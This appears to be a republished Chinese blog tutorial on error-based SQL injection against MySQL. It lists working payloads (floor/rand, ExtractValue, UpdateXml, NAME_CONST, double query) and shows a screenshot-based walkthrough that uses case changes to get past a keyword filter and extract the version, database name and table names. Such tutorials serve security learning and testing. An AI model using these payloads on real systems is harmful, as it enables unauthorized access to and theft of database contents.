博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SQL注入之mysql显错注入
阅读量:7025 次
发布时间:2019-06-28

本文共 1151 字,大约阅读时间需要 3 分钟。

    在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。

图1 获取数据库失败

    此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。

    通过floor报错:

1
and 
select 
from 
(
select 
count
(*),concat(version(),floor(rand(0)*2))x 
from 
information_schema.tables 
group 
by 
x)a)
1
and 
(
select 
count
(*) 
from 
(
select 
union 
select 
null 
union 
select  
!1)x 
group 
by 
concat((
select 
version()),floor(rand(0)*2)))

    通过ExtractValue报错:

1
and 
extractvalue(1, concat(0x7f, (
select 
version()),0x7f))

    通过UpdateXml报错:

1
and 
1=(updatexml(1,concat(0x7f,(
select 
version()),0x7f),1))

    通过NAME_CONST报错:

1
and 
1=(
select 
from 
(
select 
NAME_CONST(version(),1),NAME_CONST(version(),1)) 
as 
x)

    通过错误的双重查询:

1
or 
group 
by 
concat_ws(0x7f,version(),floor(rand(0)*2)) 
having 
min
(0) 
or 
1

    在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。

图2 显错注入点

    此时我们将通过UpdateXml来进行SQL注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。

图3 获取数据库版本信息

    获取数据库名,如图4所示。

图4 获取数据名

    获取表名,如图5所示。

图5 获取表名

    后续操作请参考文章《》,这里不再进行累赘!

本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1962253

转载地址:http://lhpxl.baihongyu.com/

你可能感兴趣的文章
操作系统-北京大学
查看>>
db_homework
查看>>
spring mvc中的@PathVariable
查看>>
linux下定时任务计划的使用
查看>>
Linux基础命令---find
查看>>
苹果电脑修改MAC地址(随机生成)
查看>>
Linux的网络参数配置
查看>>
数据克隆的操作类型
查看>>
重装Windows系统不可忽视的几个小技巧
查看>>
Oracle集合操作
查看>>
Linux 查硬件配置
查看>>
Windows Server 2008 R2 Hyper-V 故障转移群集部署指南
查看>>
Windows下安装UCenter和UCenter_Home
查看>>
3.3-Linux磁盘管理
查看>>
[转] Javascript模块化编程(一):模块的写法
查看>>
REST client 基于浏览器的测试工具
查看>>
ipmitool
查看>>
makefile中的变量赋值
查看>>
如何将Excel转换成Markdown表格
查看>>
【转载】wifi的两种工作模式
查看>>